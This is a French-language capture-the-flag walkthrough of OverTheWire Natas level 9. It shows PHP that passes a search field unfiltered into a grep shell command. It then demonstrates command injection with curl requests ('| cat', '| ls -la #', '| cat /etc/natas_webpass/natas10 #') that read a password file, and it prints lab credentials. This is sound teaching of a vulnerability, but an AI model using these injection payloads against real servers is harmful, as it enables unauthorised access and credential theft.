Niveau 9

Natas 9

Level Goal

Username: natas9
Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
URL: http://natas9.natas.labs.overthewire.org

En se connectant à la page du challenge (curl http://natas9.natas.labs.overthewire.org -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl) on a un formulaire de recherche :

<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

Et le code source suivant associé :

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

Le danger ici est que le contenu du champ needle n'est pas filtré côté serveur et est directement utilisé tel quel dans la ligne grep -i $key dictionary.txt. Ici c'est une simulation, mais dans des conditions réelles cela permettrait de gagner accès à un shell sur le serveur.

Ici essayons d'afficher l'intégralité du contenu du fichier dictionary.txt en envoyant la valeur | cat :

curl -d 'needle=| cat&submit=Send' -X POST  http://natas9.natas.labs.overthewire.org/ -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

On obtient bien le contenu du fichier (que je ne vais pas retranscrire ici car beaucoup trop long). On peut vérifier que le mot de passe n'est pas contenu à l'intérieur utilisant une regex, sachant que les mots de passe précédent faisaient tous 32 caractères de long :

grep -E "[A-Za-z0-9]{32}"

Envoyons maintenant la commande | ls -la # pour lister le répertoire courant (le # permet de commenter la suite de la ligne)

curl -d 'needle=| ls -la #&submit=Send' -X POST  http://natas9.natas.labs.overthewire.org/ -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

On obtient :

total 480
drwxr-x---  2 natas9 natas9   4096 Dec 20  2016 .
drwxr-xr-x 41 root   root     4096 Dec 22  2020 ..
-rw-r-----  1 natas9 natas9    118 Dec 20  2016 .htaccess
-rw-r-----  1 natas9 natas9    126 Oct 20  2018 .htpasswd
-rw-r-----  1 natas9 natas9 460878 Dec 15  2016 dictionary.txt
-rw-r-----  1 natas9 natas9   1952 Dec 20  2016 index-source.html
-rw-r-----  1 natas9 natas9   1185 Dec 20  2016 index.php
-rw-r-----  1 natas9 natas9   1165 Dec 15  2016 index.php.tmpl

Essayons maintenant différentes commandes :

On sait d'après la consigne de départ du challenge que les mots de passe sont contenus dans des fichiers du répertoire /etc/natas_webpass/. Si on essaye d'ouvrir le contenu du fichier /etc/natas_webpass/natas10 :

curl -d 'needle=| cat /etc/natas_webpass/natas10 #&submit=Send' -X POST  http://natas9.natas.labs.overthewire.org/ -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

On a la réponse suivante :

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu